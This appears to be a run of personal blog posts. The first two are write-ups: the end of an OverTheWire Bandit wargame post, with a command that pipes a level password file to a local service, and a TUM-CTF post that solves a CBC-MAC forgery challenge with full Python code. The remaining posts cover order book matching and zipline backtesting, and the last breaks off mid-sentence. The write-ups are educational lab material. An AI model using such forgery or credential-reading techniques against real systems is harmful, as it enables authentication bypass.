<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bandit15@melinda:/tmp/graar$ cat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001 -quiet
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
Correct!
<next password>
read:errno=0
</code></pre></div></div>
<p>Got it! Thanks.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Well, hacking is fun. <a href="http://overthewire.org">Overthewire</a> is a great site. Cya next time.</p>
Writeup Haggis
2016-11-05T00:00:00+00:00
https://hkopp.github.io/2016/11/writeup-haggis
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="intro">Intro</h2>
<p>From 2016-09-30 to 2016-10-02 i, together with the <a href="https://uss.informatik.uni-ulm.de/">Ulm Security
Sparrows</a> took part in the
<a href="https://ctf.hxp.io/">TUM-CTF</a> organized by the team h4x0rpsch0rr from
TU Munich. As usual in CTFs there were some challenges and if you
solved one correctly a special flag in form of a binary string appears
from somewhere. This flag can be submitted in the web-interface and
your team gets points.</p>
<p>This post contains my part of the writeup. For the full writeup
please visit the <a href="https://uss.informatik.uni-ulm.de/?p=492">USS-Blog</a>.</p>
<h2 id="haggis">Haggis</h2>
<p>The Haggis challenge started with the following greeting:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OMG, I forgot to pierce my haggis’ sheep stomach before cooking it, so
it exploded all over my kitchen. Please help me clean up!
(Fun fact: Haggis hurling is a thing.)
nc $IP $PORT
</code></pre></div></div>
<p>Connecting to the port yielded some hex-code.
There was also a file attached with the following content:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">binascii</span><span class="p">,</span> <span class="n">struct</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="n">pad</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="n">m</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="mi">16</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">haggis</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
<span class="n">crypt0r</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">))</span>
<span class="k">return</span> <span class="n">crypt0r</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s">'big'</span><span class="p">)</span> <span class="o">+</span> <span class="n">pad</span><span class="p">(</span><span class="n">m</span><span class="p">))[</span><span class="o">-</span><span class="mh">0x10</span><span class="p">:]</span>
<span class="n">target</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">target</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">binascii</span><span class="p">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="nb">input</span><span class="p">())</span>
<span class="k">if</span> <span class="n">msg</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="sa">b</span><span class="s">'I solemnly swear that I am up to no good.</span><span class="se">\0</span><span class="s">'</span><span class="p">)</span> \
<span class="ow">and</span> <span class="n">haggis</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> <span class="o">==</span> <span class="n">target</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'flag.txt'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">())</span></code></pre></figure>
<p>This was most probably the code running on the server. Let’s look at
it step by step.
There is a padding defined which takes a message as input and pads it
such that its length is a multiple of 16 Bytes. If one byte is
missing, it adds a one, if two bytes are missing it adds two twos. If
three bytes are missing it adds three threes. And so on. If the
message is already a multiple of 16 Bytes, it adds 16 16s to the end.
So there is one whole block of padding at the end.</p>
<p>The function haggis takes a messages and computes some kind of
CBC-MAC. It prepends the length of the message. This length fills one
whole block. Then comes the message itself together with the padding
to make the length a multiple of the block size of the cipher.
All of this is encrypted with the AES-cipher in CBC mode. The key used
is 0x10, the initialization vector is set to zero. This is not in the
code, but it can be found in the documentation that this is the
default.
The function haggis returns the last encrypted block. This block
depends on all of the previous blocks because that is the way CBC
works.</p>
<p>The code then chooses a random target, which is encoded in hex and
printed. It waits for an incoming msg which is hex-decoded.
If msg starts with the string ‘I solemnly swear that I am up to no
good.\0’ and if haggis(m) yields the target then the flag is
printed.</p>
<p>So our task is pretty clear: For a given target we need to find a msg where
haggis(msg)==target and msg needs to start with ‘I solemnly swear that
I am up to no good.\0’.</p>
<p>To solve this challenge, remember how CBC works.
CBC splits the input in blocks \(P_i\) of equal length and computes
\(C_i=E(C_{i-1}\oplus P_i)\), where \(\oplus\) is the xor operator.
\(C_0\) by the way is the initialization vector.
We can decrypt a single block, since we know the key. It was just
0x10.
To make things easier, we restrict some variables such that we have
fewer choices to make. We know that our msg needs to start with ‘I
solemnly swear that I am up to no good.\0’. Let us append ‘aaaaaa’ to
make this a multiple of the block size. Next comes a block
further referred to as mojo which we will choose in a very special way.
The final block consists of the padding. It is one block full of
padding, so in Python it looks like this:
b’\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10’.
Then we already know the length of the whole plaintext, namely 64
Bytes which we can prepend. All in all, we get the arrangement shown in
the image.</p>
<p><img src="http://hkopp.github.io/assets/writeup-haggis/haggis.png" alt="Graphical Explanation of our Forgery" /></p>
<p>Note the only part of the plaintext which is not fixed is the block
containing the mojo. This mojo contains the whole magic of the forgery of
the MAC. Regarding the ciphertext for the most part we do not care,
except for the last block. This should be the target we receives from
the server. So we can consider it as fixed.</p>
<p>How can we find a suitable mojo?
We can trace the target backwards through the CBC. For sake of
notation, let \(n\) denote the last block, so \(C_n=target\). We can decrypt
\(C_n\) such that we end up on top of the last block. Xoring with the
padding yields \(C_{n-1}\). If we decrypt \(C_{n-1}\) with a single
round of AES and xor it with \(C_{n-2}\) then we get the mojo.
But what is \(C_{n-2}\)? To compute this, we can start from the left
hand side and encrypt with CBC. It happens to be the CBC encryption of
the blocks up to then, i.e., the encryption of the string ‘I solemnly
swear that I am up to no good.\0aaaaaa’.
And that is already everything.</p>
<p>There were some programming issues with AES objects in CBC-mode being
stateful, which we did not expect and was a source of confusion.
We did not talk to the IP with Python, but instead copied the given
target from Netcat into an ipython. There we computed the dehaggised
target and copied it into our NetCat process.
This yielded the flag.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">binascii</span><span class="p">,</span> <span class="n">struct</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="n">pad</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="n">m</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">([</span><span class="mi">16</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">haggis</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
<span class="n">crypt0r</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">))</span>
<span class="k">return</span> <span class="n">crypt0r</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s">'big'</span><span class="p">)</span> <span class="o">+</span> <span class="n">pad</span><span class="p">(</span><span class="n">m</span><span class="p">))[</span><span class="o">-</span><span class="mh">0x10</span><span class="p">:]</span>
<span class="n">target</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">bytewise_xor</span><span class="p">(</span><span class="n">string1</span><span class="p">,</span> <span class="n">string2</span><span class="p">):</span>
<span class="s">"""xors two bytestrings of equal length byte by byte"""</span>
<span class="n">xored</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
<span class="n">strings</span> <span class="o">=</span> <span class="nb">zip</span><span class="p">(</span><span class="n">string1</span><span class="p">,</span> <span class="n">string2</span><span class="p">)</span>
<span class="k">for</span> <span class="n">s1</span><span class="p">,</span> <span class="n">s2</span> <span class="ow">in</span> <span class="n">strings</span><span class="p">:</span>
<span class="n">xored</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">s1</span> <span class="o">^</span> <span class="n">s2</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">xored</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">dehaggis</span><span class="p">(</span><span class="n">c</span><span class="p">):</span>
<span class="n">singlecrypt0r</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">last_plaintext_after_xor</span> <span class="o">=</span> <span class="n">singlecrypt0r</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">padding</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="sa">b</span><span class="s">''</span><span class="p">)</span>
<span class="c1"># we want to align it with the block sizes, so the last block is only padding
</span> <span class="n">msg</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'I solemnly swear that I am up to no good.</span><span class="se">\0</span><span class="s">aaaaaa'</span>
<span class="c1"># the message should also align with block boundaries
</span> <span class="c1"># len(msg) is 48, so we append one block of carefully selected
</span> <span class="c1"># garbage "mojo" to arrive at a length of the final message of 64.
</span> <span class="c1"># then comes one block of padding
</span> <span class="n">crypt0r</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">))</span>
<span class="n">mojo</span> <span class="o">=</span> <span class="n">bytewise_xor</span><span class="p">(</span><span class="n">crypt0r</span><span class="p">.</span><span class="n">encrypt</span><span class="p">((</span><span class="mi">64</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s">'big'</span><span class="p">)</span><span class="o">+</span><span class="n">msg</span><span class="p">)[</span><span class="o">-</span><span class="mh">0x10</span><span class="p">:],</span>
<span class="n">singlecrypt0r</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">bytewise_xor</span><span class="p">(</span><span class="n">last_plaintext_after_xor</span><span class="p">,</span> <span class="n">padding</span><span class="p">)))</span>
<span class="c1"># The plaintext for haggis is now
</span> <span class="c1"># plaintext = (64).to_bytes(0x10, 'big') + msg + mojo + padding
</span> <span class="k">return</span> <span class="n">msg</span><span class="o">+</span><span class="n">mojo</span>
<span class="k">def</span> <span class="nf">hexdehaggis</span><span class="p">(</span><span class="n">c</span><span class="p">):</span>
<span class="s">"""a wrapper around dehaggis which accepts hex inputs"""</span>
<span class="n">bytec</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">byteresult</span> <span class="o">=</span> <span class="n">dehaggis</span><span class="p">(</span><span class="n">bytec</span><span class="p">)</span>
<span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">byteresult</span><span class="p">)</span></code></pre></figure>
Order Book Matching Algorithms
2016-10-18T00:00:00+00:00
https://hkopp.github.io/2016/10/order-book-matching-algorithms
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<p>Today, I want to write about order book matching algorithms. These
algorithms are scratching the surface of HFT and normally you do not
need to know much about them except if you trade fully automated
intraday or if you want to incorporate a more realistic market
simulation in your backtester. Nevertheless I think they provide an
interesting glimpse into the mechanics of an exchange.</p>
<h2 id="what-is-an-orderbook">What is an orderbook?</h2>
<p>First i want to explain what an orderbook is. When the limit orders
for a specific asset
arrive at an exchange, they are collected in a list. This list is
termed the orderbook. There is one orderbook per asset. This is divied
into the sell orders an the buy orders.
It looks roughly as follows:</p>
<table>
<thead>
<tr>
<th>Buy</th>
<th> </th>
<th> </th>
<th> </th>
<th> </th>
<th>Sell</th>
<th> </th>
<th> </th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>ID</td>
<td>Time</td>
<td>Size</td>
<td>Price</td>
<td> </td>
<td>Price</td>
<td>Size</td>
<td>Time</td>
<td>ID</td>
</tr>
</tbody>
<tbody>
<tr>
<td>4</td>
<td>8:00:04</td>
<td>250</td>
<td>100</td>
<td> </td>
<td>101</td>
<td>750</td>
<td>8:00:01</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>8:00:10</td>
<td>500</td>
<td>100</td>
<td> </td>
<td>101</td>
<td>500</td>
<td>8:00:05</td>
<td>5</td>
</tr>
<tr>
<td>2</td>
<td>8:00:01</td>
<td>750</td>
<td>97</td>
<td> </td>
<td>101</td>
<td>750</td>
<td>8:00:30</td>
<td>8</td>
</tr>
<tr>
<td>7</td>
<td>8:00:10</td>
<td>150</td>
<td>96</td>
<td> </td>
<td>102</td>
<td>250</td>
<td>8:00:02</td>
<td>3</td>
</tr>
</tbody>
</table>
<p>Of course it is in a database inside a computer, so the above is only
a representation.
On the left hand side I have grouped the buy orders, whereas on the
right side i have the sell orders. Here the price of the buy orders
is lower than the price of the sell orders. There are special cases
where this is not the case, but for clarity we can disregard them. The
size is the amount of the asset which should be traded. Time marks the
time when the order arrived at the exchange. The field id is an
identifier for the order. There are also other
fields like the participants, but the ones I
have written above are the most important ones. Note that orders are
sorted with respect to price and when they have the same price they are
sorted wrt. their arrival time at the exchange.
When a market order is routed to the exchange, the exchange has to
decide which orders are filled. This decision algorithm is called an
order book matching algorithm.</p>
<h2 id="price-time-priorityfifo">Price-Time-Priority/FIFO</h2>
<p>The most simplest order book matching algorithm is a
price-time-priority algorithm. That means that the matching priority
is first price and then time. The participants are rewarded for
offering the best price and coming early.
Let us assume we have the same order book as above and a buy order for
1000 assets comes in. The relevant parts from above is the sell side.</p>
<table>
<thead>
<tr>
<th>Sell</th>
<th> </th>
<th> </th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Price</td>
<td>Size</td>
<td>Time</td>
<td>ID</td>
</tr>
</tbody>
<tbody>
<tr>
<td>101</td>
<td>750</td>
<td>8:00:01</td>
<td>1</td>
</tr>
<tr>
<td>101</td>
<td>500</td>
<td>8:00:05</td>
<td>5</td>
</tr>
<tr>
<td>101</td>
<td>750</td>
<td>8:00:30</td>
<td>8</td>
</tr>
</tbody>
</table>
<p>When assuming price-time-priority, the orders are simply filled from
above. So the first order of 750 assets is filled and the remaining
250 assets are filled from order id 5. So the order book after the buy
order looks like the following.</p>
<table>
<thead>
<tr>
<th>Sell</th>
<th> </th>
<th> </th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Price</td>
<td>Size</td>
<td>Time</td>
<td>ID</td>
</tr>
</tbody>
<tbody>
<tr>
<td>101</td>
<td>250</td>
<td>8:00:05</td>
<td>5</td>
</tr>
<tr>
<td>101</td>
<td>750</td>
<td>8:00:30</td>
<td>8</td>
</tr>
</tbody>
</table>
<h2 id="price-pro-rata">Price Pro-rata</h2>
<p>Price Pro-rata matching is often found in futures market and means that
priority is first given to the price and then the orders are filled
proportionally to their size. Assume again the order book from above.
The motivation is, that order id 8 has a large size and should be
preferred. We buy again 1000 assets. The total of assets with the best price of 101 is 2000, so
each of the limit orders 1, 5, 8 is half filled. The order book after
the execution of the buy order looks as follows:</p>
<table>
<thead>
<tr>
<th>Sell</th>
<th> </th>
<th> </th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Price</td>
<td>Size</td>
<td>Time</td>
<td>ID</td>
</tr>
</tbody>
<tbody>
<tr>
<td>101</td>
<td>375</td>
<td>8:00:01</td>
<td>1</td>
</tr>
<tr>
<td>101</td>
<td>250</td>
<td>8:00:05</td>
<td>5</td>
</tr>
<tr>
<td>101</td>
<td>375</td>
<td>8:00:30</td>
<td>8</td>
</tr>
</tbody>
</table>
<h2 id="conclusion">Conclusion</h2>
<p>There are many more order book matching algorithms, so I only covered
the most important and widespread ones. They have different features
like being good for small liquidity, but unfortunately I did not find
a comprehensive reference.</p>
<p>The order book matching algorithm depends on the exchange, so when in
doubt, consult the documentation of your exchange. Especially if you
wonder why you are not filled when you joined too late at a price
level.</p>
Backtesting With Zipline Ii
2016-09-03T00:00:00+00:00
https://hkopp.github.io/2016/09/backtesting-with-zipline-II
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post, we play again little bit around with python and the
pandas-library.
You may want to read the <a href="/2014/09/backtesting-with-pandas">first part of this series.</a>
There we have backtested a simple crossing moving average strategy in
pandas.
We had a long/slow moving average over the last 40 days and a
fast/short moving average over the last 20 days.
When the stock price rockets skywards, the short moving average is
above the long moving average.
Then we will buy.
If the short moving average crossed the long moving avergae again from
above, we sold.
If you remember, or if you have read the article again, we took
most of the upturns but then sold too late.</p>
<p>Here you have a nice image of the averages on the price of amazon
stocks.
<img src="http://hkopp.github.io/assets/backtesting-with-pandas/full_avgs_small.png" alt="Rolling Averages" /></p>
<p>We reinvested everything back and plotted the returns which looked
like the following.
<img src="http://hkopp.github.io/assets/backtesting-with-pandas/returns_small.png" alt="Cumulative returns" /></p>
<p>So, how can we sell sooner and take all the money, so that we will be
rich and bathing in gold like the mighty Dagobert Duck?
Not so fast. First we will rewrite the strategy in zipline. This is an
event-based framework for backtesting trading strategies.
Last time we used pandas, which kind of sucked, since we could get
into issues with look-ahead-bias.
In zipline this is impossible.
It works approximately like this: Each price change is fed to the
trading algorithm as an event and the algorithm can decide what it
wants to do.
Thus it is slower, since it cannot compute the events in parallel, but
on the other hand we will only trade on the old prices and not look
into the future.
Looking into the future leads to bugs you will never find and possibly
also not even notice.</p>
<p>If we use zipline it will be easier to tweak with the algorithm later
and, for example, set stoplosses to sell earlier.</p>
<h2 id="the-code">The Code</h2>
<p>The code is overly documented, since I do not really have experience
with Zipline and so this may also serve as a reference for future
programming adventures. <br />
A zipline algorithm consists mainly of two functions: <code class="language-plaintext highlighter-rouge">initialize</code> and
<code class="language-plaintext highlighter-rouge">handle_data</code>. <code class="language-plaintext highlighter-rouge">initialize</code> is called only once at the start of the
trading algorithm. Here we need to setup everything. The function
<code class="language-plaintext highlighter-rouge">handle_data</code> is executed at each bar. This is the event-based
approach I mentioned earlier. Due to this it will be impossible to
accidentally look into the future and introduce hard to find errors.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">zipline.api</span> <span class="kn">import</span> <span class="n">record</span><span class="p">,</span> <span class="n">symbol</span><span class="p">,</span> <span class="n">order_target_percent</span>
<span class="kn">from</span> <span class="nn">zipline</span> <span class="kn">import</span> <span class="n">run_algorithm</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">pytz</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">context</span><span class="p">):</span>
<span class="s">"""
initialize is a function which is calld once at the start of the
algorithm. The context is for maintaining state throughout
multiple trading events.
"""</span>
<span class="n">context</span><span class="p">.</span><span class="n">amzn</span> <span class="o">=</span> <span class="n">symbol</span><span class="p">(</span><span class="s">'AMZN'</span><span class="p">)</span>
<span class="c1"># Here we reference the amazon stock
</span>
<span class="k">def</span> <span class="nf">handle_data</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="s">"""
This function is called at the end of each trading bar.
It takes the context and the data object.
The data object contains the state of the current securities.
"""</span>
<span class="n">record</span><span class="p">(</span><span class="n">AMZN</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">].</span><span class="n">price</span><span class="p">)</span>
<span class="c1"># We record the price so we acn later track it.
</span> <span class="n">long_mavg</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">history</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">,</span> <span class="s">'close'</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="s">'1d'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">mean</span><span class="p">()</span>
<span class="c1"># The long moving average is the mean of the prices of the last 40
</span> <span class="c1"># days. In fact I take the last 41 days and throw the current day
</span> <span class="c1"># away, since it is not finished.
</span> <span class="n">short_mavg</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">history</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">,</span> <span class="s">'close'</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="s">'1d'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">mean</span><span class="p">()</span>
<span class="c1"># The short moving average is the mean of the prices of the last 20
</span> <span class="c1"># days
</span> <span class="n">record</span><span class="p">(</span><span class="n">long_mavg</span><span class="o">=</span><span class="n">long_mavg</span><span class="p">)</span>
<span class="n">record</span><span class="p">(</span><span class="n">short_mavg</span><span class="o">=</span><span class="n">short_mavg</span><span class="p">)</span>
<span class="c1"># We also record the two averages for later plotting
</span> <span class="k">if</span> <span class="n">short_mavg</span> <span class="o">></span> <span class="n">long_mavg</span><span class="p">:</span>
<span class="c1"># If the short moving average is above the long moving average
</span> <span class="c1"># we allocate 100% of our stock to AMZN
</span> <span class="k">if</span> <span class="n">data</span><span class="p">.</span><span class="n">can_trade</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">):</span>
<span class="c1"># We need to check if the security is tradeable or if
</span> <span class="c1"># trading is halted due to some event
</span> <span class="n">order_target_percent</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">,</span> <span class="mf">1.00</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">data</span><span class="p">.</span><span class="n">can_trade</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">):</span>
<span class="n">order_target_percent</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">amzn</span><span class="p">,</span> <span class="o">-</span><span class="mf">1.00</span><span class="p">)</span>
<span class="c1"># Set up the stuff for running the trading simulation
</span><span class="n">base_capital</span> <span class="o">=</span> <span class="mi">10000</span>
<span class="n">start</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">2000</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pytz</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">2010</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pytz</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
<span class="c1"># run the trading algorithm and save the results in perf
</span><span class="n">perf</span> <span class="o">=</span> <span class="n">run_algorithm</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">initialize</span><span class="p">,</span> <span class="n">base_capital</span><span class="p">,</span> <span class="n">handle_data</span><span class="p">,</span>
<span class="n">bundle</span> <span class="o">=</span> <span class="s">'quantopian-quandl'</span><span class="p">)</span>
<span class="c1"># Draw a nice plot of the value of our portfolio and save it
</span><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="p">.</span><span class="n">figure</span><span class="p">()</span>
<span class="n">perf</span><span class="p">.</span><span class="n">portfolio_value</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">"Portfolio value"</span><span class="p">)</span>
<span class="c1"># This is was generated by the run_algorithm
</span><span class="n">plt</span><span class="p">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">savefig</span><span class="p">(</span><span class="s">'returns.png'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">figure</span><span class="p">()</span>
<span class="n">perf</span><span class="p">.</span><span class="n">AMZN</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">'AMZN'</span><span class="p">)</span>
<span class="n">perf</span><span class="p">.</span><span class="n">long_mavg</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">'Long Moving Average'</span><span class="p">)</span>
<span class="n">perf</span><span class="p">.</span><span class="n">short_mavg</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">label</span><span class="o">=</span><span class="s">'Short Moving Average'</span><span class="p">)</span>
<span class="c1"># These were recorded by the record function above
</span><span class="n">plt</span><span class="p">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">savefig</span><span class="p">(</span><span class="s">'amzn.png'</span><span class="p">)</span></code></pre></figure>
<p>If you run this code it will be confused as there are not data
sources. To me it said:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ValueError: no data for bundle 'quantopian-quandl' on or before 2016-08-13 10:50:03.317389+00:00
maybe you need to run: $ zipline ingest quantopian-quandl
</code></pre></div></div>
<p>Though this suggestion did not work:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(venv) me@localhost:~$ zipline ingest quantopian-quandl
Usage: zipline ingest [OPTIONS]
Error: Got unexpected extra argument (quantopian-quandl)
</code></pre></div></div>
<p>Instead I had to run <code class="language-plaintext highlighter-rouge">zipline ingest -b quantopian-quandl</code>, to say
that it is a bundle.</p>
<h2 id="results">Results</h2>
<p>Here is the resulting value of our portfolio:
<img src="http://hkopp.github.io/assets/backtesting-with-zipline-II/returns.png" alt="Portfolio Value" /></p>
<p>and here the computations for the short and long moving average for
debugging purposes:
<img src="http://hkopp.github.io/assets/backtesting-with-zipline-II/amzn.png" alt="Stock value" /></p>
<p>You can see that the stock values are like in our simulation with
pandas. So we are not completely off the track.</p>
<p>You may notice that our portfolio on the other hand does not look at
all like our previous result.
This is due to multiple factors:
First we have a much more realistic backtester. In zipline I check if
AMZN is tradable at that day, which I did not do in pandas. Further
Zipline also handles the Slippage. I do not get the orders filled
immediately but instead my orders have an effect on the order book.
Zipline simulates this and thus destroys our toy example even more.
In the pandas simulation we got the trading data from Yahoo Finance,
whereas now we get it from quandl.</p>
<p>An of course there may be simple programming mistakes. In particular I
wonder why we do not have the plateaus anymore like in the previous</p>
<h2 id="addendum">Addendum</h2>
<p>I just realized that in the previous post we did not sell when the
short moving average was below the long moving average. Instead we
only liquidated the position. That explains the missing plateaus in
